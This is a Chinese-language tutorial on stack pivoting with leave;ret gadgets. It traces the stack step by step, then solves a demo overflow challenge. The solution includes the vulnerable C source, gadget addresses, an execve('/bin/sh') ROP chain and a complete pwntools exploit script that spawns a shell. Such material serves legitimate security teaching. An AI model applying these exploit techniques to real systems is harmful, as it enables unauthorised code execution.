Stack migration(pivoting)

Author: 堇姬Naup

概念

• 可輸入的 ROPchain 長度不夠時，可以擴展輸入的方法，將 ROPchain 分好幾次寫在指定的區域，最後再將 stack 移動過去執行
• 如果找到其他地方有足夠空間放ROP，就可以用較少的gadget數，來將stack搬移至ROP位置，進行ROP

leave

實際上做了兩件事

mov rsp, rbp
pop rbp

方法

leave;ret

• 透過overflow將rbp填成ROP Chain開始位置address-8
• return address填入leave;ret 的gadget

有一塊可以寫ROP gadget的地方

*0x601090(這塊記憶體開始的位置)
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system

stack狀態

*0x10210<-rsp
stack
*0x10200<-rbp
old rbp
ret adress

填入payload

*0x10210<-rsp
AAAAAAAA
*0x10200<-rbp
0x601090(0x601098-0x8)
leave;ret

首先一路執行下來
通常最後會有個

leave;ret
而leave的意思是

mov rsp, rbp
pop rbp

所以rsp會變成rbp

AAAAAAAA
*0x10200 <- rbp,rsp
0x601090(0x601098-0x8)
leave;ret

之後pop rbp會讓stack第一個值推入rbp，也就是0x601090
所以rbp會指向那塊記憶體

*0x601090 <- rbp
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system

之後ret，rsp往下指到leave;ret gadget前面

AAAAAAAA
*0x10200
0x601090(0x601098-0x8)
*01018 <- rsp
leave;ret

接下來rsp繼續往下
在吃到一次leave，rsp會變成rbp，

*0x601090 <- rbp,rsp
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system

再來pop rbp，rbp指到遙遠的地方0xdeadbeef(總之就是設成這個值)
最後ret，rsp往下指

*0x601090
0xdeadbeef
*0x601098(ROP開始的位置)<-rsp
pop rdi
['/bin/sh']
system

這樣就會開始執行ROP gadget了

題目

checksec

開NX不能寫shellcode

然後其實沒開canary

source code

#include <stdio.h>\
#include <unistd.h>

char name[0x80];

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    char s[0x10];

    printf("Give me your name: ");
    read(0, name, 0x80);

    printf("Give me your ROP: ");
    read(0, s, 0x20);

    return 0;
}

首先name這塊區域夠大了，應該可以寫ROPgadget，另外s的部份太小了，要用stack migration來改rsp的位置

另外最後有leave

• execve('/bin/sh')

暫存器	值
rax	0x3b
rdi	要執行的參數值(/bin/sh)
rsi	argv(這裡=0)
rdx	envp(這裡=0)

gadget	address
pop rax ; ret	0x4516c7
pop rdi ; ret	0x40186a
pop rsi ; ret	0x40f40e
pop rdx ; ret	0x40176f
leave ; ret	0x401dd0
syscall	0x4012d3

新rsp address->0x4c3300

name

*0x4c3300
/bin/sh\x00
pop rdi
0x4c3300
pop rax
0x3b
pop rsi
0
pop rdx
0
syscall

s

'A'*0x10
0x4c3300
leave ; ret

這樣就可以讓rsp移到一塊大的記憶體來放ROPgadget，另外把也把/bin/sh放到這塊記憶體開頭這樣就可以抓到了
(可以按照上面的邏輯自己推一遍)

script

from pwn import *
context.arch='amd64'

a=input('open debug?')
if a=='y':

        context.log_level = 'debug'
        context.terminal = ['tmux', 'splitw', '-h']

r=process('./demo_stack_pivoting')

ROPvar={
    'pop_rax_ret':0x4516c7,
    'pop_rdi_ret':0x40186a,
    'pop_rsi_ret':0x40f40e,
    'pop_rdx_ret':0x40176f,
    'leave_ret':0x401dd0,
    'syscall':0x4012d3
}

STACKvar={
    'rax_var':0x3b,
    'rdi_var':0x4c3300,
    'rsi_var':0,
    'rdx_var':0,
    'shell':b'/bin/sh\x00'
}



name_payload=flat(STACKvar['shell'],
                  ROPvar['pop_rdi_ret'],
                  STACKvar['rdi_var'],
                  ROPvar['pop_rax_ret'],
                  STACKvar['rax_var'],
                  ROPvar['pop_rsi_ret'],
                  STACKvar['rsi_var'],
                  ROPvar['pop_rdx_ret'],
                  STACKvar['rdx_var'],
                  ROPvar['syscall']

)

s_payload=b'a'*0x10+p64(0x4c3300)+p64(ROPvar['leave_ret'])
r.sendlineafter(b'Give me your name: ',name_payload)
r.sendlineafter(b'Give me your ROP: ',s_payload)


r.interactive()
                     

getshell!!!